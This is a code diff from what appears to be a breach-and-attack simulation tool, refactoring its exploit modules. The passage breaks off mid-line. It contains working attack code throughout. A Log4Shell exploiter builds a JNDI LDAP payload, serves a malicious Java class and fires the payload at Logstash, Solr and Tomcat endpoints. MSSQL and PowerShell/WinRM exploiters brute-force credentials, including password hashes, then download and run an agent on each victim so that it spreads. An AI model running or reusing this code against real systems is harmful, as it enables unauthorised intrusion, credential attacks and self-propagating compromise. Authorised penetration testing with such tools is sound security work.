ExploiterResultData +from infection_monkey.model import DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, LOG4SHELL_WINDOWS_COMMAND from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from infection_monkey.utils.threading import interruptible_iter +from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) class Log4ShellExploiter(WebRCE): - _TARGET_OS_TYPE = ["linux", "windows"] - EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" - SERVER_SHUTDOWN_TIMEOUT = 15 - REQUEST_TO_VICTIM_TIMEOUT = ( - 5 # Max time agent will wait for the response from victim in SECONDS - ) + SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT + REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT - def __init__(self, host: VictimHost): - super().__init__(host) + def _exploit_host(self) -> ExploiterResultData: + self._open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + if not self._open_ports: + logger.info("Could not find any open web ports to exploit") + return self.exploit_result + + self._configure_servers() + self._start_servers() + try: + self.exploit(None, None) + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + finally: + self._stop_servers() + + def _configure_servers(self): self._ldap_port = get_free_tcp_port() self._class_http_server_ip = get_interface_to_target(self.host.ip_addr) @@ -48,28 +59,15 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = None self._exploit_class_http_server = None self._agent_http_server_thread = None - self._open_ports = [ - int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] - - def _exploit_host(self): - if not self._open_ports: - logger.info("Could not find any open web ports to exploit") - return False - - self._start_servers() - try: - return self.exploit(None, None) - finally: - self._stop_servers() def _start_servers(self): + target_path = get_agent_dest_path(self.host, self.options) + # Start http server, to serve agent to victims - paths = self.get_monkey_paths() - agent_http_path = self._start_agent_http_server(paths) + agent_http_path = self._start_agent_http_server(target_path) # Build agent execution command - command = self._build_command(paths["dest_path"], agent_http_path) + command = self._build_command(target_path, agent_http_path) # Start http server to serve malicious java class to victim self._start_class_http_server(command) @@ -77,10 +75,10 @@ class Log4ShellExploiter(WebRCE): # Start ldap server to redirect ldap query to java class server self._start_ldap_server() - def _start_agent_http_server(self, agent_paths: dict) -> str: + def _start_agent_http_server(self, dropper_target_path) -> str: # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.try_create_locked_transfer( - self.host, agent_paths["src_path"] + self.host, dropper_target_path, self.agent_repository ) self._agent_http_server_thread = http_thread return http_path @@ -114,11 +112,9 @@ class Log4ShellExploiter(WebRCE): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" - def _build_command(self, path, http_path) -> str: + def _build_command(self, path: PurePath, http_path) -> str: # Build command to execute - monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path - ) + monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path) if "linux" in self.host.os["type"]: base_command = LOG4SHELL_LINUX_COMMAND else: @@ -137,11 +133,17 @@ class Log4ShellExploiter(WebRCE): else: return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) - def exploit(self, url, command) -> bool: + def exploit(self, url, command) -> None: # Try to exploit all services, # because we don't know which services are running and on which ports for exploit in get_log4shell_service_exploiters(): - for port in self._open_ports: + intr_ports = interruptible_iter(self._open_ports, self.interrupt) + for port in intr_ports: + + logger.debug( + f'Attempting Log4Shell exploit on for service "{exploit.service_name}"' + f"on port {port}" + ) try: url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) except Exception as ex: @@ -156,13 +158,8 @@ class Log4ShellExploiter(WebRCE): "port": port, } self.exploit_info["vulnerable_urls"].append(url) - return True - - return False def _wait_for_victim(self) -> bool: - victim_called_back = False - victim_called_back = self._wait_for_victim_to_download_java_bytecode() if victim_called_back: self._wait_for_victim_to_download_agent() @@ -170,27 +167,27 @@ class Log4ShellExploiter(WebRCE): return victim_called_back def _wait_for_victim_to_download_java_bytecode(self) -> bool: - start_time = time.time() + timer = Timer() + timer.set(Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT) - while not self._victim_timeout_expired( - start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT - ): + while not timer.is_expired(): if self._exploit_class_http_server.exploit_class_downloaded(): + self.exploit_result.exploitation_success = True return True time.sleep(1) + logger.debug("Timed out while waiting for victim to download the java bytecode") return False def _wait_for_victim_to_download_agent(self): - start_time = time.time() + timer = Timer() + timer.set(LONG_REQUEST_TIMEOUT) - while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT): + while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: + self.exploit_result.propagation_success = True break + # TODO: if the http server got an error we're waiting for nothing here time.sleep(1) - - @classmethod - def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool: - return timeout < (time.time() - start_time) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 612bda270..ff3a829f2 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -1,46 +1,15 @@ import http.server import logging import threading +from typing import Type + +from infection_monkey.utils.threading import create_daemon_thread logger = logging.getLogger(__name__) HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 -# If we need to run multiple HTTP servers in parallel, we'll need to either: -# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable -# 2. Create a metaclass and define the handler class dymanically at runtime -class HTTPHandler(http.server.BaseHTTPRequestHandler): - - java_class: bytes - class_downloaded: threading.Event - download_lock: threading.Lock - - @classmethod - def initialize(cls, java_class: bytes, class_downloaded: threading.Event): - cls.java_class = java_class - cls.class_downloaded = class_downloaded - cls.download_lock = threading.Lock() - - def do_GET(self): - with HTTPHandler.download_lock: - if HTTPHandler.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, - "Java exploit class has already been downloaded", - ) - return - - HTTPHandler.class_downloaded.set() - - logger.info("Java class server received a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class) - - class ExploitClassHTTPServer: """ An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server @@ -62,15 +31,13 @@ class ExploitClassHTTPServer: self._class_downloaded = threading.Event() self._poll_interval = poll_interval - HTTPHandler.initialize(java_class, self._class_downloaded) + HTTPHandler = _get_new_http_handler_class(java_class, self._class_downloaded) self._server = http.server.HTTPServer((ip, port), HTTPHandler) - # Setting `daemon=True` to save ourselves some trouble when this is merged to the - # agent-refactor branch. - # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` - # constructor directly after merging to the agent-refactor branch. - self._server_thread = threading.Thread( - target=self._server.serve_forever, args=(self._poll_interval,), daemon=True + self._server_thread = create_daemon_thread( + target=self._server.serve_forever, + name="ExploitClassHTTPServerThread", + args=(self._poll_interval,), ) def run(self): @@ -116,3 +83,46 @@ class ExploitClassHTTPServer: :rtype: bool """ return self._class_downloaded.is_set() + + +def _get_new_http_handler_class( + java_class: bytes, class_downloaded: threading.Event +) -> Type[http.server.BaseHTTPRequestHandler]: + """ + Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the + caller. + + Because Python's http.server.HTTPServer accepts a class and creates a new object to + handle each request it receives, any state that needs to be shared between requests must be + stored as class variables. Creating the request handler classes dynamically at runtime allows + multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. + """ + + def do_GET(self): + with self.download_lock: + if self.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return + + self.class_downloaded.set() + + logger.info("Java class server received a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) + + return type( + "HTTPHandler", + (http.server.BaseHTTPRequestHandler,), + { + "java_class": java_class, + "class_downloaded": class_downloaded, + "download_lock": threading.Lock(), + "do_GET": do_GET, + }, + ) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index 0b29fd4cf..52ba2edbb 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -6,14 +6,16 @@ import threading import time from pathlib import Path -from ldaptor.interfaces import IConnectedLDAPEntry -from ldaptor.ldiftree import LDIFTreeEntry from ldaptor.protocols.ldap.ldapserver import LDAPServer -from twisted.application import service -from twisted.internet import reactor from twisted.internet.protocol import ServerFactory -from twisted.python import log -from twisted.python.components import registerAdapter + +# WARNING: It was observed that this LDAP server would raise an exception and fail to start if +# multiple Python threads attempt to start multiple LDAP servers simultaneously. It was +# thought that since each LDAP server is started in its own process, there would be no +# issue, however this is not the case. It seems that there may be something that is not +# thread- or multiprocess-safe about some of the twisted imports. Moving the twisted +# imports down into the functions where they are required and removing them from the top of +# this file appears to resolve the issue. logger = logging.getLogger(__name__) @@ -32,6 +34,8 @@ class Tree: """ def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path): + from ldaptor.ldiftree import LDIFTreeEntry + self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir) self.db = LDIFTreeEntry(self.path) @@ -91,14 +95,7 @@ class LDAPExploitServer: self._http_server_ip = http_server_ip self._http_server_port = http_server_port self._storage_dir = storage_dir - - # A Twisted reactor can only be started and stopped once. It cannot be restarted after it - # has been stopped. To work around this, the reactor is configured and run in a separate - # process. This allows us to run multiple LDAP servers sequentially or simultaneously and - # stop each one when we're done with it. - self._server_process = multiprocessing.Process( - target=self._run_twisted_reactor, daemon=True - ) + self._server_process = None def run(self): """ @@ -108,6 +105,15 @@ class LDAPExploitServer: :raises LDAPServerStartError: Indicates there was a problem starting the LDAP server. """ logger.info("Starting LDAP exploit server") + + # A Twisted reactor can only be started and stopped once. It cannot be restarted after it + # has been stopped. To work around this, the reactor is configured and run in a separate + # process. This allows us to run multiple LDAP servers sequentially or simultaneously and + # stop each one when we're done with it. + self._server_process = multiprocessing.Process( + target=self._run_twisted_reactor, daemon=True + ) + self._server_process.start() reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC) @@ -117,6 +123,8 @@ class LDAPExploitServer: logger.debug("The LDAP exploit server has successfully started") def _run_twisted_reactor(self): + from twisted.internet import reactor + logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") self._configure_twisted_reactor() @@ -128,6 +136,8 @@ class LDAPExploitServer: reactor.run() def _check_if_reactor_startup_completed(self): + from twisted.internet import reactor + check_interval_sec = 0.25 num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec) @@ -141,6 +151,11 @@ class LDAPExploitServer: time.sleep(check_interval_sec) def _configure_twisted_reactor(self): + from ldaptor.interfaces import IConnectedLDAPEntry + from twisted.application import service + from twisted.internet import reactor + from twisted.python.components import registerAdapter + LDAPExploitServer._output_twisted_logs_to_python_logger() registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry) @@ -155,6 +170,8 @@ class LDAPExploitServer: @staticmethod def _output_twisted_logs_to_python_logger(): + from twisted.python import log + # Configures Twisted to output its logs using the standard python logging module instead of # the Twisted logging module. # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py index d347a0e4f..06943dd55 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py @@ -2,6 +2,7 @@ from logging import getLogger import requests +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost @@ -15,7 +16,7 @@ class LogStashExploit(IServiceExploiter): def trigger_exploit(payload: str, host: VictimHost, port: int): url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}" try: - requests.get(url, timeout=5, verify=False) # noqa DUO123 + requests.get(url, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index a21d66a3a..26243279c 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -2,6 +2,7 @@ from logging import getLogger import requests +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost @@ -15,7 +16,7 @@ class SolrExploit(IServiceExploiter): def trigger_exploit(payload: str, host: VictimHost, port: int): url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}" try: - requests.post(url, timeout=5, verify=False) # noqa DUO123 + requests.post(url, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py index 68e0cfdf9..a01f5fecc 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -2,6 +2,7 @@ from logging import getLogger import requests +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.model import VictimHost @@ -16,7 +17,9 @@ class TomcatExploit(IServiceExploiter): url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample" payload = {"dataname": "foo", "datavalue": payload} try: - requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + requests.post( # noqa DUO123 + url, data=payload, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False + ) except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index ef88d6cf2..f6b44471a 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,27 +1,30 @@ import logging import os -import sys +from pathlib import PurePath from time import sleep import pymssql -from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError -from common.utils.exploit_enum import ExploitType +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path -from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_agent_dest_path +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_ARG +from infection_monkey.transport import LockedHTTPServer +from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) class MSSQLExploiter(HostExploiter): _EXPLOITED_SERVICE = "MSSQL" - _TARGET_OS_TYPE = ["windows"] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - LOGIN_TIMEOUT = 15 + LOGIN_TIMEOUT = LONG_REQUEST_TIMEOUT + QUERY_TIMEOUT = LONG_REQUEST_TIMEOUT # Time in seconds to wait between MSSQL queries. QUERY_BUFFER = 0.5 SQL_DEFAULT_TCP_PORT = "1433" @@ -42,46 +45,68 @@ class MSSQLExploiter(HostExploiter): "DownloadFile(^'{http_path}^' , ^'{dst_path}^')" ) - def __init__(self, host): - super(MSSQLExploiter, self).__init__(host) + def __init__(self): + super().__init__() self.cursor = None - self.monkey_server = None + self.agent_http_path = None self.payload_file_path = os.path.join( MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME ) - def _exploit_host(self): + def _exploit_host(self) -> ExploiterResultData: """ First this method brute forces to get the mssql connection (cursor). Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after """ - # Brute force to get connection - username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - self.cursor = self.brute_force( - self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list - ) + monkey_path_on_victim = get_agent_dest_path(self.host, self.options) - # Create dir for payload - self.create_temp_dir() + # Brute force to get connection + creds = generate_identity_secret_pairs( + self.options["credentials"]["exploit_user_list"], + self.options["credentials"]["exploit_password_list"], + ) + try: + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) + except FailedExploitationError: + logger.info( + f"Failed brute-forcing of MSSQL server on {self.host}," + f" no credentials were successful" + ) + return self.exploit_result + + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result try: + # Create dir for payload + self.create_temp_dir() self.create_empty_payload_file() - self.start_monkey_server() - self.upload_monkey() - self.stop_monkey_server() + http_thread = self.start_monkey_server(monkey_path_on_victim) + self.upload_monkey(monkey_path_on_victim) + MSSQLExploiter._stop_monkey_server(http_thread) # Clear payload to pass in another command self.create_empty_payload_file() - self.run_monkey() + self.run_monkey(monkey_path_on_victim) self.remove_temp_dir() except Exception as e: - raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2]) + error_message = ( + f"An unexpected error occurred when trying " + f"to exploit MSSQL on host {self.host}: {e}" + ) - return True + logger.error(error_message) + self.exploit_result.error_message = error_message + + return self.exploit_result + + self.exploit_result.propagation_success = True + return self.exploit_result def run_payload_file(self): file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) @@ -106,8 +131,8 @@ class MSSQLExploiter(HostExploiter): raise Exception("Couldn't execute MSSQL exploiter because payload was too long") self.run_mssql_commands(array_of_commands) - def run_monkey(self): - monkey_launch_command = self.get_monkey_launch_command() + def run_monkey(self, monkey_path_on_victim: PurePath): + monkey_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) self.run_mssql_command(monkey_launch_command) self.run_payload_file() @@ -116,8 +141,8 @@ class MSSQLExploiter(HostExploiter): self.cursor.execute(cmd) sleep(MSSQLExploiter.QUERY_BUFFER) - def upload_monkey(self): - monkey_download_command = self.write_download_command_to_payload() + def upload_monkey(self, monkey_path_on_victim: PurePath): + monkey_download_command = self.write_download_command_to_payload(monkey_path_on_victim) self.run_payload_file() self.add_executed_cmd(monkey_download_command.command) @@ -132,36 +157,38 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(tmp_dir_removal_command) - def start_monkey_server(self): - self.monkey_server = MonkeyHTTPServer(self.host) - self.monkey_server.start() + def start_monkey_server(self, monkey_path_on_victim: PurePath) -> LockedHTTPServer: + self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, str(monkey_path_on_victim), self.agent_repository + ) + return http_thread - def stop_monkey_server(self): - self.monkey_server.stop() + @staticmethod + def _stop_monkey_server(http_thread): + http_thread.stop() + http_thread.join(LONG_REQUEST_TIMEOUT) - def write_download_command_to_payload(self): - monkey_download_command = self.get_monkey_download_command() + def write_download_command_to_payload(self, monkey_path_on_victim: PurePath): + monkey_download_command = self.get_monkey_download_command(monkey_path_on_victim) self.run_mssql_command(monkey_download_command) return monkey_download_command - def get_monkey_launch_command(self): - dst_path = get_monkey_dest_path(self.monkey_server.http_path) + def get_monkey_launch_command(self, monkey_path_on_victim: PurePath): # Form monkey's launch command monkey_args = build_monkey_commandline( - self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path + self.host, self.current_depth - 1, monkey_path_on_victim ) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( - command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), + command="{} {} {}".format(monkey_path_on_victim, DROPPER_ARG, monkey_args), prefix=prefix, suffix=suffix, ) - def get_monkey_download_command(self): - dst_path = get_monkey_dest_path(self.monkey_server.http_path) + def get_monkey_download_command(self, monkey_path_on_victim: PurePath): monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.monkey_server.http_path, dst_path=dst_path + http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) ) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( @@ -188,17 +215,29 @@ class MSSQLExploiter(HostExploiter): """ # Main loop # Iterates on users list - for user, password in users_passwords_pairs_list: + credentials_iterator = interruptible_iter( + users_passwords_pairs_list, + self.interrupt, + "MSSQL exploiter has been interrupted", + logging.INFO, + ) + + for user, password in credentials_iterator: try: # Core steps # Trying to connect conn = pymssql.connect( - host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT + host, + user, + password, + port=port, + login_timeout=self.LOGIN_TIMEOUT, + timeout=self.QUERY_TIMEOUT, ) logger.info( - "Successfully connected to host: {0}, using user: {1}, password (" - "SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password)) + f"Successfully connected to host: {host} using user: {user} and password" ) + self.exploit_result.exploitation_success = True self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index f2883bb63..d711bec19 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,143 +1,128 @@ import logging -import os +from pathlib import Path, PurePath from typing import List, Optional -import infection_monkey.monkeyfs as monkeyfs -from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit.consts import WIN_ARCH_32 from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.powershell_utils.auth_options import ( - AUTH_NEGOTIATE, - ENCRYPTION_AUTO, - AuthOptions, - get_auth_options, -) +from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options from infection_monkey.exploit.powershell_utils.credentials import ( Credentials, SecretType, get_credentials, ) from infection_monkey.exploit.powershell_utils.powershell_client import ( - AuthenticationError, IPowerShellClient, PowerShellClient, ) -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os +from infection_monkey.exploit.tools.helpers import get_agent_dest_path, get_random_file_suffix from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) -TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" + +class RemoteAgentCopyError(Exception): + pass -class PowerShellRemotingDisabledError(Exception): +class RemoteAgentExecutionError(Exception): pass class PowerShellExploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] - EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" - def __init__(self, host: VictimHost): - super().__init__(host) + def __init__(self): + super().__init__() self._client = None def _exploit_host(self): - try: - use_ssl = self._is_client_using_https() - except PowerShellRemotingDisabledError as e: - logging.info(e) - return False + if not self._any_powershell_port_is_open(): + message = "PowerShell Remoting appears to be disabled on the remote host" + self.exploit_result.error_message = message + logger.debug(message) + + return self.exploit_result credentials = get_credentials( - self._config.exploit_user_list, - self._config.exploit_password_list, - self._config.exploit_lm_hash_list, - self._config.exploit_ntlm_hash_list, + self.options["credentials"]["exploit_user_list"], + self.options["credentials"]["exploit_password_list"], + self.options["credentials"]["exploit_lm_hash_list"], + self.options["credentials"]["exploit_ntlm_hash_list"], is_windows_os(), ) - auth_options = [get_auth_options(creds, use_ssl) for creds in credentials] + + auth_options = [get_auth_options(creds, self.host) for creds in credentials] self._client = self._authenticate_via_brute_force(credentials, auth_options) + + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + if not self._client: - return False - - return self._execute_monkey_agent_on_victim() - - def _is_client_using_https(self) -> bool: - try: - logging.debug("Checking if powershell remoting is enabled over HTTP.") - self._try_http() - return False - except AuthenticationError: - return False - except Exception as e: - logging.debug(f"Powershell remoting over HTTP seems disabled: {e}") + self.exploit_result.error_message = ( + "Unable to authenticate to the remote host using any of the available credentials" + ) + return self.exploit_result try: - logging.debug("Checking if powershell remoting is enabled over HTTPS.") - self._try_https() - return True - except AuthenticationError: - return True - except Exception as e: - logging.debug(f"Powershell remoting over HTTPS seems disabled: {e}") - raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.") + self._execute_monkey_agent_on_victim() + self.exploit_result.propagation_success = True + except Exception as ex: + logger.error(f"Failed to propagate to the remote host: {ex}") + self.exploit_result.error_message = str(ex) - def _try_http(self): - self._try_ssl_login(use_ssl=False) + return self.exploit_result - def _try_https(self): - self._try_ssl_login(use_ssl=True) + def _any_powershell_port_is_open(self) -> bool: + return self._http_powershell_port_is_open() or self._https_powershell_port_is_open() - def _try_ssl_login(self, use_ssl: bool): - credentials = Credentials( - username="dummy_username", - secret="dummy_password", - secret_type=SecretType.PASSWORD, - ) + def _http_powershell_port_is_open(self) -> bool: + return "tcp-5985" in self.host.services - auth_options = AuthOptions( - auth_type=AUTH_NEGOTIATE, - encryption=ENCRYPTION_AUTO, - ssl=use_ssl, - ) - - PowerShellClient(self.host.ip_addr, credentials, auth_options) + def _https_powershell_port_is_open(self) -> bool: + return "tcp-5986" in self.host.services def _authenticate_via_brute_force( self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: - for (creds, opts) in zip(credentials, auth_options): - client = PowerShellClient(self.host.ip_addr, creds, opts) - if self._is_client_auth_valid(creds, client): + creds_opts_pairs = filter(self.check_ssl_setting_is_valid, zip(credentials, auth_options)) + for (creds, opts) in interruptible_iter(creds_opts_pairs, self.interrupt): + + try: + client = PowerShellClient(self.host.ip_addr, creds, opts) + client.connect() + logger.info( + f"Successfully logged into {self.host.ip_addr} using Powershell. User: " + f"{creds.username}, Secret Type: {creds.secret_type.name}" + ) + + self.exploit_result.exploitation_success = True + self._report_login_attempt(True, creds) + return client + except Exception as ex: + logger.debug( + f"Error logging into {self.host.ip_addr} using Powershell. User: " + f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" + ) + self._report_login_attempt(False, creds) return None - def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool: - try: - # attempt to execute dir command to know if authentication was successful - client.execute_cmd("dir") + def check_ssl_setting_is_valid(self, creds_opts_pair): + opts = creds_opts_pair[1] - logger.info( - f"Successfully logged into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, Secret Type: {creds.secret_type.name}" - ) - self._report_login_attempt(True, creds) - - return True - except Exception as ex: # noqa: F841 - logger.debug( - f"Error logging into {self.host.ip_addr} using Powershell. User: " - f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" - ) - self._report_login_attempt(False, creds) + if opts.ssl and not self._https_powershell_port_is_open(): return False + if not opts.ssl and not self._http_powershell_port_is_open(): + return False + + return True + def _report_login_attempt(self, result: bool, credentials: Credentials): if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]: self.report_login_attempt(result, credentials.username, password=credentials.secret) @@ -148,53 +133,42 @@ class PowerShellExploiter(HostExploiter): else: raise ValueError(f"Unknown secret type {credentials.secret_type}") - def _execute_monkey_agent_on_victim(self) -> bool: - arch = self._client.get_host_architecture() - self.is_32bit = arch == WIN_ARCH_32 - logger.debug(f"Host architecture is {arch}") + def _execute_monkey_agent_on_victim(self): + monkey_path_on_victim = get_agent_dest_path(self.host, self.options) - monkey_path_on_victim = ( - self._config.dropper_target_path_win_32 - if self.is_32bit - else self._config.dropper_target_path_win_64 - ) + self._copy_monkey_binary_to_victim(monkey_path_on_victim) + logger.info("Successfully copied the monkey binary to the victim.") - is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim) - if is_monkey_copy_successful: - logger.info("Successfully copied the monkey binary to the victim.") - self._run_monkey_executable_on_victim(monkey_path_on_victim) - else: - logger.error("Failed to copy the monkey binary to the victim.") - return False - - return True - - def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool: try: - self._write_virtual_file_to_local_path() - - logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") - is_monkey_copy_successful = self._client.copy_file( - TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim - ) + self._run_monkey_executable_on_victim(monkey_path_on_victim) except Exception as ex: - raise ex + raise RemoteAgentExecutionError( + f"Failed to execute the agent binary on the victim: {ex}" + ) + + def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: PurePath): + + temp_monkey_binary_filepath = 